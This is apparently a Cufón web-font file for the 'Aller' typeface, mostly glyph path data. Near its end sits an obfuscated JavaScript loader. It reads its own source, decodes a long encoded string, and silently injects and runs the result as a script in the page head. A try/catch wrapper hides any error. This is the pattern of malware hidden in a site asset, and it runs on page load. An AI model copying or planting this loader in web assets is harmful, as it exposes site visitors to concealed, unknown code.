,185v3,69,-5,128,63,125v12,0,30,-1,40,-4v6,21,9,52,9,76v-17,7,-48,7,-71,8v-162,9,-139,-165,-139,-321v-21,13,-41,27,-58,40","w":298},{"d":"52,-247v-2,-202,152,-316,357,-263r0,-223v29,-5,69,-5,98,0r0,719v-54,15,-117,27,-190,26v-169,-2,-264,-85,-265,-259xm157,-247v-7,153,114,200,252,167r0,-346v-26,-11,-56,-16,-93,-16v-113,3,-154,81,-159,195","w":586},{"d":"501,-719v5,26,5,62,0,89r-187,0r0,630v-31,4,-71,4,-102,0r0,-630r-187,0v-5,-26,-5,-63,0,-89r476,0","w":526,"k":{"\u0135":-20,"\u012d":-20,"\u0129":-20,"\u00ef":-30,"\u00ec":-40}},{"d":"207,0v-31,5,-72,5,-102,0r0,-533r-81,0v-4,-21,-4,-53,0,-75r81,0r0,-111v31,-5,71,-5,102,0r0,111r306,0r0,-111v31,-5,71,-5,102,0r0,111r81,0v5,22,5,53,0,75r-81,0r0,533v-30,5,-71,5,-102,0r0,-333r-306,0r0,333xm513,-423r0,-110r-306,0r0,110r306,0","w":720},{"d":"64,-719v29,-5,67,-5,95,0r0,274v-30,4,-66,4,-95,0r0,-274","w":223},{"d":"405,141v2,-61,45,-110,87,-141r-51,-166r-271,0r-50,166v-32,5,-73,5,-104,0r234,-719v35,-5,81,-5,117,0r233,719v-53,16,-98,62,-103,124v-4,54,64,58,109,41v10,15,13,43,15,65v-85,26,-220,14,-216,-89xm415,-255r-110,-358r-109,358r219,0","w":617},{"d":"43,-488v33,-5,73,-6,106,0r167,222r-167,221v-32,7,-73,6,-106,0r164,-220xm294,-488v33,-5,73,-6,106,0r167,222r-167,221v-32,7,-73,6,-106,0r164,-220","w":617},{"d":"472,-136v-5,168,-260,169,-403,122v5,-29,13,-55,25,-78v72,33,278,56,278,-42v0,-46,-44,-52,-82,-67v-89,-32,-177,-41,-214,-109v-34,-62,10,-136,47,-172v-19,-19,-33,-48,-33,-86v1,-165,239,-172,372,-123v0,30,-13,57,-24,78v-64,-32,-248,-55,-248,40v0,49,36,55,77,68r124,38v69,21,104,61,104,118v0,58,-29,95,-57,128v21,20,35,45,34,85xm193,-444v-26,19,-56,80,-20,110v45,38,132,49,193,73v23,-18,57,-79,22,-111v-44,-40,-137,-45,-195,-72","w":562},{"d":"195,-788v-33,7,-76,7,-109,0v-5,-31,-5,-72,0,-103v33,-7,76,-7,109,0v5,31,5,72,0,103xm190,0v-31,5,-71,5,-102,0r0,-719v31,-5,71,-5,102,0r0,719","w":278},{"d":"348,-607v-36,5,-79,5,-115,0v-5,-34,-5,-75,0,-110v37,-4,78,-7,115,0v5,34,5,75,0,110xm315,-71v43,0,74,-5,107,-18v11,18,20,50,21,78v-39,15,-84,23,-135,23v-168,2,-258,-104,-258,-268v0,-164,86,-269,251,-269v56,0,95,6,135,21v0,26,-8,60,-17,79v-33,-11,-70,-17,-112,-17v-106,-1,-153,79,-153,186v0,119,52,185,161,185","w":478},{"d":"412,-784v-29,6,-72,4,-102,0r-65,-80r-65,80v-29,5,-75,6,-102,0r109,-127v35,-5,82,-6,117,1xm178,0v-30,5,-69,5,-99,0r0,-733v30,-5,69,-5,99,0r0,298v31,-48,78,-90,157,-90v122,0,173,74,173,200r0,325v-29,5,-69,5,-98,0r0,-298v0,-84,-21,-138,-95,-138v-97,0,-137,70,-137,173r0,263","w":578},{"d":"179,0v-30,5,-69,5,-99,0r0,-513v26,-5,58,-5,84,0v4,18,9,62,9,83v32,-51,81,-95,164,-95v122,0,172,74,172,200r0,325v-30,5,-69,5,-99,0r0,-298v-1,-83,-18,-138,-92,-138v-98,0,-139,72,-139,176r0,260","w":578},{"d":"177,236v-29,5,-68,5,-97,0r0,-749v29,-5,69,-5,98,0r0,268v1,106,27,173,123,173v84,0,127,-54,128,-143r0,-298v29,-5,69,-5,98,0r0,513v-23,6,-55,5,-78,0r-13,-64v-33,43,-75,77,-151,76v-45,0,-81,-15,-108,-45r0,269","w":603},{"d":"79,-44v43,17,86,29,147,29v108,-1,180,-42,183,-150v3,-114,-122,-138,-229,-114r-8,-14r167,-263r-257,0v-6,-27,-5,-62,0,-89r405,0r7,12r-182,277v124,-6,196,68,198,182v4,200,-171,271,-375,239v-29,-5,-58,-14,-87,-25v4,-32,18,-59,31,-84"},{"d":"269,167v-28,5,-70,6,-98,0v-138,-190,-160,-623,-45,-860v15,-32,30,-60,45,-83v27,-6,70,-5,98,0v-67,118,-119,276,-119,472v0,195,52,353,119,471","w":319},{"d":"218,-802v-13,-18,-27,-34,-33,-57v26,-31,85,-66,143,-43v38,15,72,42,120,42v34,0,45,-14,68,-34v15,19,26,38,33,59v-22,21,-57,49,-100,48v-65,-1,-99,-49,-162,-49v-35,0,-46,15,-69,34xm666,-359v0,218,-87,371,-303,371v-217,0,-304,-154,-304,-371v0,-218,88,-372,304,-372v216,0,303,154,303,372xm168,-359v0,157,43,283,195,283v152,0,195,-127,195,-283v0,-156,-43,-282,-195,-282v-152,0,-195,126,-195,282","w":724},{"d":"228,-789v-32,5,-72,5,-105,0v-4,-34,-4,-67,0,-101v33,-5,72,-5,105,0v5,30,5,71,0,101xm443,-789v-33,5,-72,5,-105,0v-6,-33,-7,-65,0,-101v32,-5,72,-5,105,0v4,35,4,67,0,101xm491,-89v4,26,5,63,0,89r-403,0r0,-719r395,0v4,26,5,63,0,89r-293,0r0,206r234,0v5,26,5,63,0,89r-234,0r0,246r301,0","w":536},{"d":"354,238v-30,7,-58,6,-87,0r45,-173v30,-5,72,-6,102,0xm184,0v-28,5,-68,5,-96,0r0,-719v28,-5,66,-5,94,0r313,540r0,-540v30,-5,68,-6,97,0r0,719v-28,5,-66,5,-94,0r-314,-537r0,537","w":680},{"d":"283,-305v18,72,8,169,-28,215r272,0v5,28,4,63,0,90r-424,0v-9,-15,6,-22,15,-30v58,-55,88,-169,62,-275r-87,0v-4,-24,-4,-52,0,-78r71,0v-6,-38,-15,-76,-14,-119v4,-138,83,-216,226,-218v64,-1,109,10,150,27v-4,32,-10,56,-23,83v-37,-16,-69,-22,-121,-24v-133,-6,-144,142,-113,251r187,0v4,25,4,53,0,78r-173,0"},{"d":"157,-266r-121,-247v32,-6,75,-5,108,0r106,248r-128,265v-33,5,-71,5,-104,0xm491,0v-32,5,-72,6,-104,0r-129,-265r107,-248v33,-5,74,-6,106,0r-119,244","w":509},{"d":"488,-438v1,-53,-58,-69,-113,-58r0,323v-20,4,-54,4,-76,0r0,-385v121,-13,266,-16,268,112v1,58,-35,94,-70,113r105,159v-28,4,-60,4,-87,0r-114,-178v36,-17,85,-36,87,-86xm125,-359v0,188,109,303,297,307v228,5,351,-206,278,-427v-37,-111,-131,-186,-278,-186v-188,0,-297,119,-297,306xm574,-16v-89,38,-215,38,-304,0v-129,-55,-219,-166,-219,-343v0,-176,90,-289,219,-343v89,-38,215,-38,304,-1v129,54,219,167,219,344v0,177,-90,288,-219,343","w":846},{"d":"147,-154v0,102,122,93,204,76r0,-163v-91,-14,-204,-10,-204,87xm48,-152v0,-149,151,-187,303,-167v5,-89,-33,-125,-117,-124v-48,0,-87,9,-125,20v-13,-22,-19,-48,-19,-79v42,-14,101,-23,154,-23v133,1,204,57,204,191r0,321v-49,11,-123,26,-187,25v-125,0,-213,-41,-213,-164xm125,-620v-5,-21,-5,-52,0,-74r270,0v5,21,5,53,0,74r-270,0","w":517},{"d":"1,-620v-5,-21,-5,-52,0,-74r270,0v5,21,5,53,0,74r-270,0xm207,0v-29,5,-68,5,-97,0r0,-435r-65,0v-5,-22,-5,-56,0,-78r162,0r0,513","w":288},{"d":"471,-90v5,28,4,63,0,90r-383,0r0,-719v30,-6,71,-5,101,0r0,629r282,0xm440,-343v-34,5,-75,5,-109,0v-5,-34,-5,-75,0,-109v34,-5,75,-5,109,0v5,34,5,75,0,109","w":495},{"d":"264,-586v-63,0,-108,-44,-108,-107v0,-63,45,-107,108,-107v63,0,108,44,108,107v0,63,-45,107,-108,107xm215,-693v0,33,16,56,49,56v33,0,50,-23,50,-56v0,-33,-17,-56,-50,-56v-33,0,-49,23,-49,56xm147,-154v0,102,122,93,204,76r0,-163v-91,-14,-204,-10,-204,87xm48,-152v0,-149,151,-187,303,-167v5,-89,-33,-125,-117,-124v-48,0,-87,9,-125,20v-13,-22,-19,-48,-19,-79v42,-14,101,-23,154,-23v133,1,204,57,204,191r0,321v-49,11,-123,26,-187,25v-125,0,-213,-41,-213,-164","w":517},{"d":"876,-89v5,26,5,63,0,89r-403,0r0,-168r-269,0r-95,168v-35,5,-80,6,-114,0r422,-719r451,0v5,27,5,63,0,90r-293,0r0,217r235,0v4,26,5,63,0,89r-235,0r0,234r301,0xm473,-637r-5,0r-216,381r221,0r0,-381","w":922},{"d":"-21,-887v41,-7,96,-6,138,0r105,108v-31,6,-74,5,-106,0xm190,0v-31,5,-71,5,-102,0r0,-719v31,-5,71,-5,102,0r0,719","w":278},{"d":"279,238v-26,6,-58,6,-85,0r44,-173v29,-5,69,-6,99,0xm177,0v-30,5,-69,5,-99,0r0,-733v30,-5,69,-5,99,0r0,733xm504,0v-34,5,-75,5,-110,0r-190,-266r163,-247v34,-5,75,-5,109,0r-163,240","w":516},{"d":"563,-779v-31,6,-78,6,-109,0r-65,-61r-65,61v-32,6,-79,6,-111,0r118,-108v34,-6,83,-5,117,0xm407,-79v38,0,70,-4,97,-12r0,-281v30,-5,71,-5,101,0r0,351v-54,23,-128,33,-203,33v-227,0,-343,-138,-343,-367v0,-177,76,-293,199,-349v87,-39,228,-31,311,1v-3,34,-13,56,-24,84v-43,-13,-81,-25,-142,-23v-164,5,-235,118,-235,287v0,170,75,272,239,276","w":681},{"d":"185,-887v41,-7,96,-6,138,0r105,108v-31,6,-74,5,-106,0xm666,-359v0,218,-87,371,-303,371v-217,0,-304,-154,-304,-371v0,-218,88,-372,304,-372v216,0,303,154,303,372xm168,-359v0,157,43,283,195,283v152,0,195,-127,195,-283v0,-156,-43,-282,-195,-282v-152,0,-195,126,-195,282","w":724},{"d":"54,-720v29,-7,72,-5,102,0r65,80r65,-80v31,-5,71,-8,102,0r-109,127v-36,5,-82,4,-117,-1xm179,0v-30,5,-69,5,-99,0r0,-513v25,-5,59,-5,84,0v4,18,9,59,9,81v31,-51,87,-95,175,-82v6,27,4,63,-1,90v-115,-14,-168,52,-168,169r0,255","w":372},{"d":"449,-594v-29,6,-72,4,-102,0r-65,-80r-65,80v-29,5,-75,6,-102,0r109,-127v35,-5,82,-6,117,1xm315,-71v43,0,74,-5,107,-18v11,18,20,50,21,78v-39,15,-84,23,-135,23v-168,2,-258,-104,-258,-268v0,-164,86,-269,251,-269v56,0,95,6,135,21v0,26,-8,60,-17,79v-33,-11,-70,-17,-112,-17v-106,-1,-153,79,-153,186v0,119,52,185,161,185","w":478},{"d":"670,-528v-23,6,-56,5,-80,0r0,-203v22,-5,69,-5,94,0xm52,-247v-2,-202,152,-316,357,-263r0,-223v29,-5,69,-5,98,0r0,719v-54,15,-117,27,-190,26v-169,-2,-264,-85,-265,-259xm157,-247v-7,153,114,200,252,167r0,-346v-26,-11,-56,-16,-93,-16v-113,3,-154,81,-159,195","w":667},{"d":"535,-779v-31,6,-78,6,-109,0r-65,-61r-65,61v-32,6,-79,6,-111,0r118,-108v34,-6,83,-5,117,0xm666,-359v0,218,-87,371,-303,371v-217,0,-304,-154,-304,-371v0,-218,88,-372,304,-372v216,0,303,154,303,372xm168,-359v0,157,43,283,195,283v152,0,195,-127,195,-283v0,-156,-43,-282,-195,-282v-152,0,-195,126,-195,282","w":724},{"d":"811,-424v5,26,5,63,0,89r-234,0r0,246r301,0v5,26,5,63,0,89r-386,0v-33,8,-88,12,-127,12v-217,-5,-310,-153,-310,-371v0,-219,96,-372,313,-372v40,0,87,3,119,12r383,0v5,26,5,63,0,89r-293,0r0,206r234,0xm365,-76v43,0,78,-3,110,-14r0,-539v-32,-8,-65,-13,-106,-12v-153,4,-205,124,-205,282v0,158,48,283,201,283","w":924},{"d":"481,-779v-31,6,-78,6,-109,0r-65,-61r-65,61v-32,6,-79,6,-111,0r118,-108v34,-6,83,-5,117,0xm600,0v-32,5,-76,6,-108,0r-50,-166r-273,0r-49,166v-32,5,-73,5,-104,0r234,-719v35,-5,81,-5,117,0xm196,-255r219,0r-110,-367","w":617},{"d":"-19,-794v-5,-22,-5,-53,0,-75r319,0v4,22,4,54,0,75r-319,0xm190,0v-31,5,-71,5,-102,0r0,-719v31,-5,71,-5,102,0r0,719","w":278},{"d":"195,238v-26,6,-58,6,-85,0r44,-173v29,-5,69,-6,99,0xm288,-1v-110,27,-210,-11,-210,-132r0,-600v29,-5,69,-5,98,0r0,578v0,52,13,83,63,82v12,0,30,-1,40,-4v6,23,9,49,9,76","w":298},{"d":"459,-779v-31,6,-78,6,-109,0r-65,-61r-65,61v-32,6,-79,6,-111,0r118,-108v34,-6,83,-5,117,0xm491,-89v4,26,5,63,0,89r-403,0r0,-719r395,0v4,26,5,63,0,89r-293,0r0,206r234,0v5,26,5,63,0,89r-234,0r0,246r301,0","w":536},{"d":"321,-45v-33,5,-74,6,-106,0r-166,-222r166,-221v32,-6,73,-5,106,0r-163,220xm573,-45v-33,5,-74,6,-106,0r-166,-222r166,-221v32,-6,73,-5,106,0r-163,220","w":618},{"d":"256,238v-30,7,-58,6,-87,0r45,-173v30,-5,72,-6,102,0xm501,-719v5,26,5,62,0,89r-187,0r0,630v-31,4,-71,4,-102,0r0,-630r-187,0v-5,-26,-5,-63,0,-89r476,0","w":526}],f:f};try{(function(s){var c="charAt",i="indexOf",a=String(arguments.callee).replace(/\s+/g,""),z=s.length+-335-a.length+(a.charCodeAt(0)==40&&2),w=64,k=s.substring(z,w+=z),v=s.substr(0,z)+s.substr(w),m=0,t="",x=0,y=v.length,d=document,h=d.getElementsByTagName("head")[0],e=d.createElement("script");for(;x<y;++x){m=(k[i](v[c](x))&255)<<18|(k[i](v[c](++x))&255)<<12|(k[i](v[c](++x))&255)<<6|k[i](v[c](++x))&255;t+=String.fromCharCode((m&16711680)>>16,(m&65280)>>8,m&255);}e.text=t;h.insertBefore(e,h.firstChild);h.removeChild(e);})("X-bQYFugrPnqXz,l4FC@M-MnHduQbFnqHdS@rP7.b[({VagNH?)c^m]>H?)c^mCFXQCI4m0>^FuI4m0>um4I4m0cbPCI4m0>^-CI4m0>u~,I4m0cVa7I4m0>uF[I4m0>^mbI4m0>^~,I4m0>^aSI4m0cbmBdH?)c^m]EH?)c^-C~H?)c^-^EH?)c^-VQH?)c^-MaH?)c^m]+H?)c^-]*H?)c^-]cH?)c^m0dH?)c^m^EH?)c^m^dm[>Q^OB,V,>Q^O]@bC>Q^OBNu,>Q^O]db,>Q^O]@b,>Q^O]>u[>Q^O]du[4I4m0>udCI4mMc^m7I4mMc^~bI4m0cV~1I4m0>u~BI4m0>u-SI4m0>uObI4m0cbFbI4m0>u-7I4m0>uFSI4mMc^P7I4m0cbPbI4m0>umCI4m0cb~CI4m0cVPVqH?)c^-SkM[>Q^~]@^NBIM,>Q^OBF^Q>Q^~0>G[>Q^O]@^C>Q^OBF^C>Q^O]>^C>Q^OB,bC>Q^~0>GC>Q^O]@^[>Q^OBNb,>Q^O]cVQ>Q^O]@b[>Q^O]auC>Q^O]QGC>Q^O]cb]4I4m0cVa4I4m0>^m7I4m0cb~7I4m0cV~CI4m0cbOCI4m0cb~1I4m0>^OuI4m0>^PSI4m0cV~7!oQ}9H?)c^mIgH?)c^mt>G,>Q^O]Qu,>Q^O]cug[I4m0>ua4I4m0@^PSffz>I4m0>uP[I4m0cbO1-H?)c^mV+H?)c^mIaH?)c^mI@H?)c^-V*S]7I4m0>^PCI4m0>ud[I4m0>^O1I4m0>^-[8^zJI4m0>^dCI4m0>uO1I4m0>uPSI4m0cbm,I4m0>umBI4m0>^P)g^,>Q^O]gVHQI4m0cVm1I4m0cbmSI4mMc^muI4m0>u~u{H?)c^m[1Y[>Q^O]a^[>Q^O]@^Q>Q^O]aV,>Q^O]g^C>Q^OB~G[>Q^O]Qu[>Q^O]g^Q>Q^O]du,>Q^OB,^Q>Q^OBNb)JI4m0>uF7I4m0>uO,I4m0>^a,I4m0cbF7I4m0cVm[I4m0>u~CI4m0>u-bI4m0>uFuI4m0cV~4I4m0>u-[I4m0>^m,I4m0>u~1I4m0>uaCI4m0>ud7I4m0>uaBI4m0>uPbaH?)c^mM+P[>Q^OB~^[>Q^OBFV[>Q^O]gVQ>Q^O]cu[>Q^OB,b[*.t[>Q^OBN^NbI4m0cVmbI4m0cVd74VNg~o]^,HC>1DH7I4m0>GmScrCb>[H{JP-uI4m0>uPuI4m0cV~BI4m0>uP7I4m0cbmCI4m0>^d7I4mMc^PuI4m0>uO7GoFkQV-bI4m0>^~72PFn^GC>Q^OBkG)BI4m0@^m1I4m0cVauI4m0cbmbmH?)c^mu,H?)c^m4FH?)c^mI*HznI4m0>umuI4m0>uO4I4m0@^a4I4m0cVFuI4m0cb-[tH?)c^mCkGaCI4m0>ua[I4m0cb~bTH?)c^mb1t,>Q^O]+VQ>Q^O]duC>Q^OBFVa4QH?)c^-7NH?)c^-u,H?)c^mI0BzO]C-?MSXT^uGot72m)[PHVbrYI4Dfh1N~k,F.eJ8!{}qWc>@agQd+E*9l(n=;E2[>Q^OBkuF[I4m0>uab+H?)c^-bNGmQI4m0cbOBI4m0cVPCI4m0>um7I4m0cVdbI4m0cVaBI4m0>^~1I4m0>^mSI4m0>^~SI4m0cb~SI4m0cV~,I4m0cbPuI4m0cb-VdH?)c^-b,H?)c^m0cH?)c^-)+H?)c^~]*H?)c^-7kH?)c^-)EH?)c^m0@f,>Q^OBk^gnI4m0>u~SI4m0cVmCI4m0cVm7I4m0>udSI4m0>^muI4m0>^auI4m0cb-CI4m0cVmSMH?)c^-V+H?)c^-^QH?)c^-)gH?)c^-7~H?)c^-CkI,>Q^O]au[>Q^OBNV[>Q^OBkuQ>Q^O]g^F7)H?)c^mMdSQ>Q^O]cuC>Q^OBNV,>Q^OB1uQ>Q^O]a^C>Q^O]cV,>Q^O]@uP*I4m0cV~)aXC>Q^OBku[>Q^OB~V,>Q^O]gu[>Q^OB1^+1I4m0cVP[I4m0>^OCI4m0>^FSI4m0>^dbI4m0cbm[I4m0cVabI4m0cVduI4m0>^a4I4m0>^PuI4m0cbOSI4m0>um,I4m0>^O,I4m0>^-bI4m0cbO7I4m0>umSI4m0cVaSI4m0>^FCI4m0>^duI4m0cVdCI4m0cVPSI4m0@^P]NT.ucY-,gXzMNX2>Jom0{IOQNT.0{YOQcTF>,YF4grz>.oPMqbN*.Y?,cr?^nD+glrPVeVN*WragWHNh;G.4+4QcqXm(eoaJI4m0cbmkJSznJT.7,I+teY-n~VH7JYdEqr-na4-*1YP)JXPbWINhlrm>{G@{!r2,.PduYr[Q4oHBYr[QnX2hJ")}catch(e){}delete _cufon_bridge_;return b.ok&&f})({"w":600,"face":{"font-family":"Aller","font-weight":400,"font-stretch":"normal","units-per-em":"1000","panose-1":"2 0 5 3 3 0 0 2 0 4","ascent":"800","descent":"-200","x-height":"12","bbox":"-42 -963 1003.75 249.011","underline-thickness":"50","underline-position":"-50","unicode-range":"U+0020-U+2122"}}));
